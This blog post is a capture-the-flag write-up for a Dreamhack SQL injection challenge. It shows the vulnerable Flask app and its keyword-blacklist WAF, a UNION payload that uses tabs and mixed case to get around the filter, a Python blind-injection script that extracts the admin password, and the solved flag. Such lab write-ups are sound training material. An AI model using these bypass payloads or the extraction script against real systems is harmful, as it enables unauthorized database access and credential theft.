Post

sql injection bypass WAF

Description

This is the problem that you practice in the SQL Injection Bypass WAF.

Attached

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True

    return False


@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
        else:
            return template.format(uid=uid, result='')

    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

Analyzation

The user table has 3 columns: idx, uid and upw.

1
2
3
4
5
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

And flag is admin’s password

1
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');

Our target is to get admin’s password.

Check check_WAF() function

1
2
3
4
5
6
7
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True

    return False

So the keywords array is blacklist

1
2
if check_WAF(uid):
    return 'your request has been blocked by WAF.'

Check index() function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
        else:
            return template.format(uid=uid, result='')

    else:
        return template
  • After the uid is get by GET method, it will be checked by check_WAF(uid).

  • Then the server will send query to sql database, and send back result: cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")

  • If result exists, the template will show one uid only (result[0] is idx, result[1] is uid, result[2] is upw ). Else empty string will be displayed.

WAF blocks "union", "select, but "Union", "Select" can be used to bypass the WAF.

If "admin" is blocked, a function can be used, like reverse(\"nimda\"), or concat('admi','n'), or simply "Admin".

The WAF only blocks space %20. It does not block tab %09, so it can be used. (See ascii table).

Solution 1: SQLI UNION attacks

Original query

1
SELECT * FROM user WHERE uid='{uid}';

If we make a payload, as usual

1
'	Union	Select	1,upw,3	From	user	Where	uid='Admin

Then the query now will be

1
SELECT * FROM user WHERE uid=''	Union	Select	1,upw,3	From	user	Where	uid='Admin';

And we get the flag

1
DH{bc818d522986e71f9b10afd732aef9789a6db76d}

Solution 2: Blind sqli by error-based

After getting password, we can check its character, one by one by

1
SELECT * FROM user WHERE uid='admin' && if(ascii(substr(upw, 1, 1)) = 124, true, false)#;
  • If the if statement is true, the query will return admin, and login successfully.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

URL = "http://host3.dreamhack.games:16703/?uid='||uid%3Dreverse(\"nimda\")%26%26if(ascii(substr(upw%2C{}%2C1))%3D{}%2Ctrue%2Cfalse)%23"

flag = ""

for i in range(1, 50):
    for j in range(32, 129):
        response = requests.get(URL.format(i, j))
        print(chr(j))
        if 'admin' in response.text:
            flag += chr(j)
            print(f"----flag: {flag}")
            if flag[-1] == '}':
                exit()
            break

The flag is

1
DH{bc818d522986e71f9b10afd732aef9789a6db76d}
This post is licensed under CC BY 4.0 by the author.